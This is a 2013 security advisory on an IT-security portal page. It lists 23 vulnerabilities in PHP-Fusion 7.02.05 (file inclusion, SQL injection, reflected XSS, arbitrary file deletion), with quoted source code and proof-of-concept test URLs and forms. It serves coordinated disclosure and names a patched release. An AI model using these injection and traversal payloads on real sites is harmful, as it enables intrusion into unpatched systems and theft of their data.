Waraxe IT Security Portal
Login or Register
November 21, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 180
Members: 0
Total: 180
Full disclosure
SEC Consult SA-20241112-0 :: Multiple vulnerabilities in Siemens Energy Omnivise T3000 (CVE-2024-38876, CVE-2024-38877, CVE-2024-38878, CVE-2024-38879)
Security issue in the TX Text Control .NET Server for ASP.NET.
SEC Consult SA-20241107-0 :: Multiple Vulnerabilities in HASOMED Elefant and Elefant Software Updater
Unsafe eval() in TestRail CLI
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
[waraxe-2013-SA#097] - Multiple Vulnerabilities in PHP-Fusion 7.02.05





Author: Janek Vind "waraxe"
Date: 27. February 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-97.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

PHP-Fusion is a light-weight open-source content management system (CMS)
written in PHP 5. It utilises a MySQL database to store your site content and
includes a simple, comprehensive administration system. PHP-Fusion includes the
most common features you would expect to see in many other CMS packages.

http://www.php-fusion.co.uk/news.php
http://sourceforge.net/projects/php-fusion/

Vulnerable is version 7.02.05 and possibly older versions.

New, patched version 7.02.06 available here:

http://www.php-fusion.co.uk/news.php?readmore=569
http://www.php-fusion.co.uk/downloads.php?cat_id=23&download_id=264


###############################################################################
1. Local File Inclusion in "maincore.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied POST parameter "user_theme"
Preconditions:
1. Logged in as valid user
2. "Allow users to change theme" option must be activated (it is by default)
3. PHP must be < 5.3.4 for null-byte attacks to work

PHP-Fusion users can edit their profile and by default there is possibility to
change the theme. There is no sufficient sanitization of the POST parameter
"user_theme":

Php script "includes/user_fields/user_theme_include" line 41:
------------------------[ source code start ]----------------------------------
} elseif ($profile_method == "validate_insert" || $profile_method == "validate_update") {
if ($settings['userthemes'] == 1 || iADMIN) {
// Get input data
if (isset($_POST['user_theme']) && $_POST['user_theme'] != "") {
// Set update or insert user data
$this->_setDBValue("user_theme", stripinput(trim($_POST['user_theme'])));
------------------------[ source code end ]------------------------------------

We can see, that user-supplied parameter "user_theme" goes through the
function "stripinput()":

Php script "maincore.php" line 332:
------------------------[ source code start ]----------------------------------
// Strip Input Function, prevents HTML in unwanted places
function stripinput($text) {
if (!is_array($text)) {
$text = stripslash(trim($text));
$text = preg_replace("/(&amp;)+(?=#([0-9]{2,3});)/i", "&", $text);
$search = array("&", """, "'", "\", '"', "'", "<", ">", " ;;");
$replace = array("&amp;", "&quot;", "&#39;", "&#92;", "&quot;", "&#39;", "&lt;", "&gt;", " ");
$text = str_replace($search, $replace, $text);
} else {
foreach ($text as $key => $value) {
$text[$key] = stripinput($value);
}
}
return $text;
}
------------------------[ source code end ]------------------------------------

This function works against XSS and SQL Injection attacks, but not against
file inclusion attacks. Attacker can submit user theme value as one below:

../images/avatars/waraxe.jpgz

Directory traversal symbols "../" and null byte will pass through the
function "stripinput()" and whole string will be saved to the database.
All subsequent requests by attacker will use this malicious theme string
and as result, previously uploaded avatar picture with PHP payload gets
included and executed.

Most front-end scripts start with this:
------------------------[ source code start ]----------------------------------
require_once "maincore.php";
require_once THEMES."templates/header.php";
------------------------[ source code end ]------------------------------------

Php script "maincore.php" line 264:
------------------------[ source code start ]----------------------------------
// Set theme
if (!theme_exists($userdata['user_theme'])) {
...
// Check that site or user theme exists
function theme_exists($theme) {
global $settings;
...
} elseif (file_exists(THEMES.$theme."/theme.php") && file_exists(THEMES.$theme."/styles.css")) {
define("THEME", THEMES.$theme."/");
------------------------[ source code end ]------------------------------------

We can see, that malicious theme string from database will be used in theme path
definition and later is used in "require_once".

This security vulnerability was tested by using Burp Proxy and exploitation
succeeded.

###############################################################################
2. Local File Inclusion in "administration/user_fields.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied GET parameter "enable"
Preconditions:
1. Logged in as admin with user field administration privileges
2. PHP must be < 5.3.4 for null-byte attacks to work


Php script "administration/user_fields.php" line 84:
------------------------[ source code start ]----------------------------------
} elseif (isset($_GET['enable'])
&& file_exists(INCLUDES."user_fields/".stripinput($_GET['enable'])."_include_var.php")
&& file_exists(INCLUDES."user_fields/".stripinput($_GET['enable'])."_include.php")
) {
$user_field_api_version = "1.00.00";
if (file_exists(LOCALE.LOCALESET."user_fields/".stripinput($_GET['enable']).".php")) {
include LOCALE.LOCALESET."user_fields/".stripinput($_GET['enable']).".php";
------------------------[ source code end ]------------------------------------

Test (parameter "aid" needs to be valid):

Upload avatar picture with PHP payload and then issue request:

http://localhost/phpfusion70205/administration/user_fields.php?
aid=e017e24eb00e8ccf&enable=../../images/avatars/waraxe.jpg%00z


###############################################################################
3. SQL Injection in "includes/classes/Authenticate.class.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied HTTP cookie
Preconditions:
1. magic_quotes_gpc=off


Php script "includes/classes/Authenticate.class.php" line 143:
------------------------[ source code start ]----------------------------------
// Validate authenticated user
public static function validateAuthUser($userCookie = true) {

if (isset($_COOKIE[COOKIE_USER]) && $_COOKIE[COOKIE_USER] != "") {
$cookieDataArr = explode(".", $_COOKIE[COOKIE_USER]);

if (count($cookieDataArr) == 3) {
list($userID, $cookieExpiration, $cookieHash) = $cookieDataArr;

if ($cookieExpiration > time()) {
$result = dbquery(
"SELECT * FROM ".DB_USERS."
WHERE user_id='".$userID."' AND user_status='0' AND user_actiontime='0'
LIMIT 1"
);
------------------------[ source code end ]------------------------------------

We can see, that user-supplied cookie will be exploded to three parts and
first part, "userID" is used in SQL query without any sanitization, which
leads to SQL Injection vulnerability.


###############################################################################
4. SQL Injection in "downloads.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied GET parameter "orderby"
Preconditions:
1. valid download category with at least one download

Php script "downloads.php" line 111:
------------------------[ source code start ]----------------------------------
if (isset($_GET['orderby'])) {
$order_by = stripinput($_GET['orderby']);
...
$result = dbquery(
"SELECT td.download_id, td.download_user, td.download_datestamp,
...
ORDER BY ".($order_by == "" ? $cat_data['download_cat_sorting'] : $order_by." ".$sort)."
------------------------[ source code end ]------------------------------------

Tests:

http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=waraxe

"Unknown column 'waraxe' in 'order clause'"

http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=IF(0,1,(SELECT+1+UNION+SELECT+2))

Result: error message "Subquery returns more than 1 row"

http://localhost/phpfusion70205/downloads.php?cat_id=1&orderby=IF(1,1,(SELECT+1+UNION+SELECT+2))

Result: normal page


###############################################################################
5. SQL Injection in "forum/postedit.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied POST parameter "delete_attach_*"
Preconditions:
1. Logged in as user with forum posting privileges
2. magic_quotes_gpc=off


Php script "forum/postedit.php" line 219:
------------------------[ source code start ]----------------------------------
foreach ($_POST as $key=>$value){
if(!strstr($key, "delete_attach")) continue;
$key = str_replace("delete_attach_", "", $key);
$result = dbquery("SELECT * FROM ".DB_FORUM_ATTACHMENTS." WHERE post_id='".$_GET['post_id']."' and attach_id='$key'");
------------------------[ source code end ]------------------------------------

Test (parameters "forum_id", "thread_id" and "post_id" must be valid):

-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/phpfusion70205/forum/post.php?action=edit&forum_id=2&thread_id=1&post_id=1" method="post">
<input type="hidden" name="savechanges" value="1">
<input type="hidden" name="message" value="Testing">
<input type="hidden" name="delete_attach_war'axe" value="1">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------

Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help):

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'axe'' at line 1


###############################################################################
6. SQL Injection in "forum/postnewthread.php"
###############################################################################

Reason: uninitialized variable "$poll_opts"
Attack vector: user-supplied parameter "poll_opts"
Preconditions:
1. logged in as user with poll creation privileges
2. available forum with poll creation abilities
3. magic_quotes_gpc=off
4. register_globals=on


Php script "forum/postnewthread.php" line 126:
------------------------[ source code start ]----------------------------------
foreach ($poll_opts as $poll_option) {
$result = dbquery("INSERT INTO ".DB_FORUM_POLL_OPTIONS." (thread_id,
forum_poll_option_id, forum_poll_option_text, forum_poll_option_votes)
VALUES('".$thread_id."', '".$i."', '".$poll_option."', '0')");
$i++;
}
------------------------[ source code end ]------------------------------------

Test (parameter "forum_id" must be valid):

-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/phpfusion70205/forum/post.php?action=newthread&forum_id=2" method="post">
<input type="hidden" name="subject" value="Test subject">
<input type="hidden" name="message" value="Test message">
<input type="hidden" name="poll_title" value="Test poll">
<input type="hidden" name="poll_opts[]" value="war'axe">
<input type="hidden" name="postnewthread" value="1">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------

Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help):

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'axe', '0')' at line 1



###############################################################################
7. SQL Injection in "administration/settings_messages.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied POST parameters "pm_email_notify", "pm_save_sent",
"pm_inbox", "pm_sentbox", "pm_savebox"
Preconditions:
1. logged in as admin with private message settings change privileges
2. magic_quotes_gpc=off


Php script "administration/settings_messages.php" line 38:
------------------------[ source code start ]----------------------------------
if (isset($_POST['saveoptions'])) {
$error = 0;
dbquery("UPDATE ".DB_MESSAGES_OPTIONS." SET
pm_email_notify = '".$_POST['pm_email_notify']."',
pm_save_sent = '".$_POST['pm_save_sent']."',
pm_inbox = '".$_POST['pm_inbox']."',
pm_sentbox = '".$_POST['pm_sentbox']."',
pm_savebox = '".$_POST['pm_savebox']."'
WHERE user_id='0'"
);
------------------------[ source code end ]------------------------------------


###############################################################################
8. SQL Injection in "administration/settings_photo.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied POST parameters "thumb_compression",
"photo_watermark_text_color1", "photo_watermark_text_color2", "photo_watermark_text_color3"
Preconditions:
1. logged in as admin with photo gallery settings change privileges
2. magic_quotes_gpc=off


Php script "administration/settings_photo.php" line 100:
------------------------[ source code start ]----------------------------------
$result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value='".$_POST['thumb_compression']."'
WHERE settings_name='thumb_compression'");
...
$result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value=
'".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color1']) ?
$_POST['photo_watermark_text_color1'] : "FF6600")."' WHERE settings_name='photo_watermark_text_color1'");
if (!$result) { $error = 1; }
$result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value=
'".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color2']) ?
$_POST['photo_watermark_text_color2'] : "FFFF00")."' WHERE settings_name='photo_watermark_text_color2'");
if (!$result) { $error = 1; }
$result = dbquery("UPDATE ".DB_SETTINGS." SET settings_value='
".(preg_match("/([0-9A-F]){6}/i",$_POST['photo_watermark_text_color3']) ?
$_POST['photo_watermark_text_color3'] : "FFFFFF")."' WHERE settings_name='photo_watermark_text_color3'");
------------------------[ source code end ]------------------------------------

We can see, that user-supplied POST parameter "thumb_compression" is used in
SQL query without any sanitization. Other three affected parameters
"photo_watermark_text_color1", photo_watermark_text_color2", "photo_watermark_text_color1"
are checked against regex, but this regex is flawed and does not stop SQL injection.
Attacker can use "AABBCC'waraxe" and regex check is bypassed.
Correct regex would be "/^([0-9A-F]){6}$/i".


###############################################################################
9. SQL Injection in "administration/bbcodes.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied GET parameter "enable"
Preconditions:
1. logged in as admin with BB Codes administration privileges
2. magic_quotes_gpc=off
3. PHP must be < 5.3.4 for null-byte attacks to work


Php script "administration/bbcodes.php" line 49:
------------------------[ source code start ]----------------------------------
} elseif (isset($_GET['enable']) &&
file_exists(INCLUDES."bbcodes/".$_GET['enable']."_bbcode_include_var.php") &&
file_exists(INCLUDES."bbcodes/".$_GET['enable']."_bbcode_include.php")) {
...
$result = dbquery("INSERT INTO ".DB_BBCODES." (bbcode_name, bbcode_order)
VALUES ('".$_GET['enable']."', '".$order."')");
------------------------[ source code end ]------------------------------------

We can see, that user-supplied GET parameter "enable" is used in SQL query
without sufficient sanitization. There are two checks against valid filenames,
but it's possible to use null byte method to bypass these checks.

Test (parameter "aid" needs to be valid):

http://localhost/phpfusion70205/administration/bbcodes.php?aid=c37dd1f4ea5686c5&enable=%00war'axe

Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help):

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'axe', '13')' at line 1


###############################################################################
10. SQL Injection in "administration/news.php" case 1
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied POST parameters "news_image", "news_image_t1"
and "news_image_t1"
Preconditions:
1. logged in as admin with news administration privileges
2. magic_quotes_gpc=off


Php script "administration/news.php" line 106:
------------------------[ source code start ]----------------------------------
$news_image = (isset($_POST['news_image']) ? $_POST['news_image'] : "");
$news_image_t1 = (isset($_POST['news_image_t1']) ? $_POST['news_image_t1'] : "");
$news_image_t2 = (isset($_POST['news_image_t2']) ? $_POST['news_image_t2'] : "");
...
$result = dbquery("UPDATE ".DB_NEWS." SET news_subject='$news_subject',
news_cat='$news_cat', news_end='$news_end_date', news_image='$news_image',
news_news='$body', news_extended='$body2', news_breaks='$news_breaks',
".($news_start_date != 0 ? " news_datestamp='$news_start_date'," : "").
" news_start='$news_start_date', news_image_t1='$news_image_t1', news_image_t2=
'$news_image_t2', news_visibility='$news_visibility', news_draft='$news_draft',
news_sticky='$news_sticky', news_allow_comments='$news_comments',
news_allow_ratings='$news_ratings' WHERE news_id='".$_POST['news_id']."'");
------------------------[ source code end ]------------------------------------

Test (parameter "aid" needs to be valid):

-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8" method="post">
<input type="hidden" name="save" value="1">
<input type="hidden" name="news_image" value="war'axe">
<input type="hidden" name="news_image_t1" value="war'axe2">
<input type="hidden" name="news_image_t2" value="war'axe3">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------

Result (302 redirect makes it difficult to see SQL error, Burp Proxy will help):

You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use
near 'axe', 'war'axe2', 'war'axe3', '0', '0', '0', '0', '0', '0')' at line 1


###############################################################################
11. SQL Injection in "administration/articles.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied POST parameter "article_id"
Preconditions:
1. Logged in as admin with articles administration privileges
2. magic_quotes_gpc=off


Php script "administration/articles.php" line :
------------------------[ source code start ]----------------------------------
if ((isset($_GET['action']) && $_GET['action'] == "edit") &&
(isset($_POST['article_id']) && isnum($_POST['article_id'])) ||
(isset($_GET['article_id']) && isnum($_GET['article_id']))) {
$result = dbquery("SELECT article_cat, article_subject, article_snippet,
article_article, article_draft, article_breaks, article_allow_comments,
article_allow_ratings FROM ".DB_ARTICLES." WHERE
article_id='".(isset($_POST['article_id']) ? $_POST['article_id'] : $_GET['article_id'])."'")
------------------------[ source code end ]------------------------------------

As seen above, user-supplied parameter "article_id" goes through validation
before using in SQL query, but this validation has flawed logic. If we submit
numeric GET parameter "article_id" and non-numeric malicious POST parameter
with the same name, then first check will pass, because GET parameter
is valid, but after that POST parameter is used in SQL query ...

Test (parameter "aid" must be valid):

-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/phpfusion70205/administration/articles.php?aid=0ebd6f54040890e8&action=edit&article_id=123" method="post">
<input type="hidden" name="article_id" value="0'UNION SELECT 1,@@version,3,4,5,6,7,'8">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------


###############################################################################
12. SQL Injection in "administration/news.php" case 2
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied POST parameter "news_id"
Preconditions:
1. logged in as admin with news administration privileges
2. magic_quotes_gpc=off

This security vulnerability is similar to the previous case. User-supplied
data verification exists, but it's not able to stop SQL injection due to flawed
logic.

Php script "administration/news.php" line 236:
------------------------[ source code start ]----------------------------------
if ((isset($_GET['action']) && $_GET['action'] == "edit") &&
(isset($_POST['news_id']) && isnum($_POST['news_id'])) ||
(isset($_GET['news_id']) && isnum($_GET['news_id']))) {
$result = dbquery("SELECT news_subject, news_cat, news_news, news_extended,
news_start, news_end, news_image, news_image_t1, news_image_t2, news_visibility,
news_draft, news_sticky, news_breaks, news_allow_comments, news_allow_ratings
FROM ".DB_NEWS." WHERE news_id='".(isset($_POST['news_id']) ? $_POST['news_id']
: $_GET['news_id'])."' LIMIT 1");
------------------------[ source code end ]------------------------------------

Test (parameter "aid" needs to be valid):

-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8&action=edit&news_id=123" method="post">
<input type="hidden" name="news_id" value="0'UNION SELECT 1,2,@@version,4,5,6,7,8,9,10,11,12,13,14,'15">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------


###############################################################################
13. Reflected XSS in "forum/viewthread.php"
###############################################################################

Reason: insufficient sanitization of html output
Attack vector: user-supplied GET parameter "highlight"
Preconditions:
1. there must exist at least one forum thread


Php script "forum/viewthread.php" line 361:
------------------------[ source code start ]----------------------------------
// highlight jQuery plugin
if (isset($_GET['highlight'])) {
$words = explode(" ", urldecode($_GET['highlight']));
$higlight = ""; $i = 1; $c_words = count($words);
foreach ($words as $hlight) {
$higlight .= "'".$hlight."'";
$higlight .= ($i < $c_words ? "," : "");
$i++;
}
add_to_head("<script type='text/javascript' src='".INCLUDES."jquery/jquery.highlight.js'></script>");
$highlight_js .= "jQuery('.search_result').highlight([".$higlight."],{wordsOnly:true});";
------------------------[ source code end ]------------------------------------

Test (parameter "thread_id" must be valid):

http://localhost/phpfusion70205/forum/viewthread.php?thread_id=20&highlight=%2527]);});alert(123);/*


###############################################################################
14. Reflected XSS in "messages.php"
###############################################################################

Reason:
1. uninitialized variables "$user_list" and "$user_types"
2. insufficient sanitization of html output
Attack vector: user-supplied parameters "user_list", "user_types"
Preconditions:
1. logged in as user
2. register_globals=on


Php script "messages.php" line 482:
------------------------[ source code start ]----------------------------------
if ($_GET['msg_send'] == "0") {
echo "<select name='msg_send' class='textbox'>
".$user_list."</select>
";
------------------------[ source code end ]------------------------------------

Test:

-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/phpfusion70205/messages.php?msg_send=0" method="post">
<input type="hidden" name="chk_sendtoall" value="0">
<input type="hidden" name="user_list" value="</select><script>alert(123);</script>">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------

Similar problem is related to variable "$user_types", only in this case admin
access level is needed:

Php script "messages.php" line 490:
------------------------[ source code start ]----------------------------------
if (iADMIN && !isset($_GET['msg_id'])) {
echo "<label><input name='chk_sendtoall' type='checkbox' ".$sendtoall_chk." />
";
echo "".$locale['434'].":</label> <select name='msg_to_group' class='textbox'>
".$user_types."</select>
";
------------------------[ source code end ]------------------------------------


###############################################################################
15. Reflected XSS in "infusions/shoutbox_panel/shoutbox_admin.php"
###############################################################################
Reason:
1. uninitialized variable "$message"
2. insufficient sanitization of html output
Attack vector: user-supplied parameter "message"
Preconditions:
1. logged in as admin with shoutbox administration privileges
2. register_globals=on

Php script "infusions/shoutbox_panel/shoutbox_admin.php" line 149:
------------------------[ source code start ]----------------------------------
if (isset($message) && $message != "") {
echo "<div id='close-message'><div class='admin-message'>".$message."</div></div>
"; }
------------------------[ source code end ]------------------------------------

Test (parameter "aid" needs to be valid):

http://localhost/phpfusion70205/infusions/shoutbox_panel/shoutbox_admin.php?
aid=e017e24eb00e8ccf&page=settings&message=<body+onload=alert(123);+


###############################################################################
16. Reflected XSS in "administration/news.php"
###############################################################################
Reason:
1. uninitialized variable "$message"
2. insufficient sanitization of html output
Attack vector: user-supplied parameter "message"
Preconditions:
1. logged in as admin with news administration privileges
2. register_globals=on

Php script "administration/news.php" line 31:
------------------------[ source code start ]----------------------------------
if (isset($_GET['error']) && isnum($_GET['error'])) {
if ($_GET['error'] == 1) {
$message = $locale['413'];
...
if ($message) { echo "<div id='close-message'>
<div class='admin-message'>".$message."</div></div>
"; }
}
if (isset($_GET['status'])) {
if ($_GET['status'] == "sn") {
$message = $locale['410'];
...
if ($message) { echo "<div id='close-message'>
<div class='admin-message'>".$message."</div></div>
"; }
}
------------------------[ source code end ]------------------------------------

Tests (parameter "aid" needs to be valid):

http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8
&error=9&message=<body+onload=alert(123);+

http://localhost/phpfusion70205/administration/news.php?aid=0ebd6f54040890e8
&status=1&message=<body+onload=alert(123);+


###############################################################################
17. Reflected XSS in "administration/panel_editor.php"
###############################################################################

Reason:
1. uninitialized variable "$panel_list"
2. insufficient sanitization of html output
Attack vector: user-supplied parameter "panel_list"
Preconditions:
1. logged in as admin with panel editing privileges
2. register_globals=on


Php script "administration/panel_editor.php" line 32:
------------------------[ source code start ]----------------------------------
while ($folder = readdir($temp)) {
if (!in_array($folder, array(".","..")) && strstr($folder, "_panel")) {
if (is_dir(INFUSIONS.$folder)) $panel_list[] = $folder;
}
}
...
for ($i=0;$i < count($panel_list);$i++) {
echo "<option".($panel_filename == $panel_list[$i] ?
" selected='selected'" : "").">".$panel_list[$i]."</option>
";

------------------------[ source code end ]------------------------------------

Test (parameter "aid" needs to be valid):

-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/phpfusion70205/administration/panel_editor.php?aid=e017e24eb00e8ccf" method="post">
<input type="hidden" name="panel_list[]" value="<script>alert(123);</script>">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------


###############################################################################
18. Reflected XSS in "administration/phpinfo.php"
###############################################################################

Reason: insufficient sanitization of html output
Attack vector: User-Agent string
Preconditions:
1. logged in as admin with php info view privileges

Php script "administration/phpinfo.php" line 46:
------------------------[ source code start ]----------------------------------
$phpinfo .= "<tr>
<td class='tbl2' style='width:20%'>".$locale['410']."</td>
<td class='tbl1' style='text-align:right'>".$_SERVER['HTTP_USER_AGENT']."</td></tr>
";
------------------------[ source code end ]------------------------------------


###############################################################################
19. Reflected XSS in "administration/bbcodes.php"
###############################################################################

Reason:
1. uninitialized variable "$__BBCODE__"
2. insufficient sanitization of html output
Attack vector: user-supplied parameter "__BBCODE__"
Preconditions:
1. logged in as admin with bbcode settings change privileges
2. register_globals=on


Php script "administration/bbcodes.php" line 141:
------------------------[ source code start ]----------------------------------
echo "<td class='$cls'>".$__BBCODE__[0]['description']."</td>
";
echo "<td class='$cls'>".$__BBCODE__[0]['usage']."</td>
";
------------------------[ source code end ]------------------------------------

Test (parameter "aid" needs to be valid):

http://localhost/phpfusion70205/administration/bbcodes.php?aid=693ec1754cc0b042
&__BBCODE__[0][description]=<body+onload=alert(123);+

http://localhost/phpfusion70205/administration/bbcodes.php?aid=693ec1754cc0b042
&__BBCODE__[0][usage]=<body+onload=alert(123);+

###############################################################################
20. Reflected XSS in multiple admin scripts, affected parameter "errorMessage"
###############################################################################

Reason:
1. uninitialized variables "$error" and "$errorMessage"
2. insufficient sanitization of html output
Attack vector: user-supplied parameters "error" and "errorMessage"
Preconditions:
1. logged in as admin with appropriate privileges
2. register_globals=on


Php script "administration/article_cats.php" line 110:
------------------------[ source code start ]----------------------------------
if (isset($error) && isnum($error)) {
if ($error == 1) {
$errorMessage = $locale['460'];
} elseif ($error == 2) {
$errorMessage = $locale['461'];
}
if ($errorMessage) { echo "<div id='close-message'>
<div class='admin-message'>".$errorMessage."</div></div>
"; }
------------------------[ source code end ]------------------------------------

The same vulnerability exists in four different admin scripts:

1. administration/article_cats.php
2. administration/download_cats.php
3. administration/news_cats.php
4. administration/weblink_cats.php

Tests (parameter "aid" needs to be valid):

http://localhost/phpfusion70205/administration/article_cats.php?
aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+

http://localhost/phpfusion70205/administration/download_cats.php?
aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+

http://localhost/phpfusion70205/administration/news_cats.php?
aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+

http://localhost/phpfusion70205/administration/weblink_cats.php?
aid=6242719852b67e0e&error=3&errorMessage=<body+onload=alert(123);+


###############################################################################
21. Reflected XSS in "administration/articles.php"
###############################################################################

Reason: insufficient sanitization of html output
Attack vector: user-supplied POST parameters "body" and "body2"
Preconditions:
1. logged in as admin with articles administration privileges


Php script "administration/articles.php" line 70:
------------------------[ source code start ]----------------------------------
$bodypreview = str_replace("src='".str_replace("../", "", IMAGES_A),
"src='".IMAGES_A, stripslash($_POST['body']));
$body2preview = str_replace("src='".str_replace("../", "", IMAGES_A),
"src='".IMAGES_A, stripslash($_POST['body2']));
...
echo $bodypreview."
";
...
echo $body2preview."
";
------------------------[ source code end ]------------------------------------

Test (parameter "aid" needs to be valid):

-------------------------[ test code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/phpfusion70205/administration/articles.php?aid=0ebd6f54040890e8" method="post">
<input type="hidden" name="preview" value="1">
<input type="hidden" name="body" value="<script>alert(123);</script>">
<input type="hidden" name="body2" value="<script>alert(321);</script>">
<input type="submit" value="Test">
</form>
</center></body></html>
--------------------------[ test code end ]------------------------------------


###############################################################################
22. Arbitrary file deletion in "administration/db_backup.php"
###############################################################################

Reason: insufficient sanitization of user-supplied data
Attack vector: user-supplied POST parameter "file"
Preconditions:
1. logged in as admin with database backup privileges


Php script "administration/db_backup.php" line 130:
------------------------[ source code start ]----------------------------------
if (isset($_POST['btn_cancel'])) {
@unlink(ADMIN."db_backups/".$_POST['file']);
redirect(FUSION_SELF.$aidlink);
}
------------------------[ source code end ]------------------------------------

As we can see, user-supplied POST parameter "file" is used in php function
"unlink()" without any sanitization. It's possible to use directory traversal
strings "../" and delete arbitrary files on the target system.


###############################################################################
23. Insecure database backup file handling in "administration/db_backup.php"
###############################################################################

PHP-Fusion admin with Database Backup privileges can use "Database Restore"
feature. First step is database backup file upload:

Php script "administration/db_backup.php" line 186:
------------------------[ source code start ]----------------------------------
} elseif (isset($_GET['action']) && $_GET['action'] == "restore") {
if (is_uploaded_file($_FILES['upload_backup_file']['tmp_name'])) {
$temp_rand = rand(1000000, 9999999);
$temp_hash = substr(md5($temp_rand), 8, 8);
$file = "temp_".$temp_rand.".txt";
$backup_name = $_FILES['upload_backup_file']['name'];
move_uploaded_file($_FILES['upload_backup_file']['tmp_name'], ADMIN."db_backups/".$file);
------------------------[ source code end ]------------------------------------

As we can see, uploaded file will be moved to "db_backups" directory.
Two problems exist with that:

1. There is no access restrictions to this directory. Anyone can access uploaded
database backup files directly, given that filename is known:

http://localhost/phpfusion70205/administration/db_backups/temp_4973205.txt

2. Database backup's filename is suppose to be random, but there is only about
9 million possible filenames. Such weak filename randomness makes it possible
to try bruteforce guessing.

Uploaded files are usually deleted within short timeframe, but may be left
intact for indefinite time period, if admin does not complete operation and
does not access database backup script again. In this case filename bruteforce
may be realistic and as result sensitive data leakage from database may occur
(hashed admin credentials for example).

Possible solutions:
1. .htaccess file restricting directory access
2. better filename randomness


Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

27.09.2012 -> Contacted developers
27.09.2012 -> Developer asked for details
28.09.2012 -> Sent details to developers
27.01.2013 -> Patched version 7.02.06 released
27.02.2013 -> Advisory released


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@yahoo.com
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------









Copyright © by Waraxe IT Security Portal All Right Reserved.

Published on: 2013-02-27 (47305 reads)

[ Go Back ]
Top members by posts
waraxe  waraxe - 2407
vince213333  vince213333 - 737
pexli  pexli - 665
Mullog  Mullog - 540
demon  demon - 485
shai-tan  shai-tan - 477
LINUX  LINUX - 404
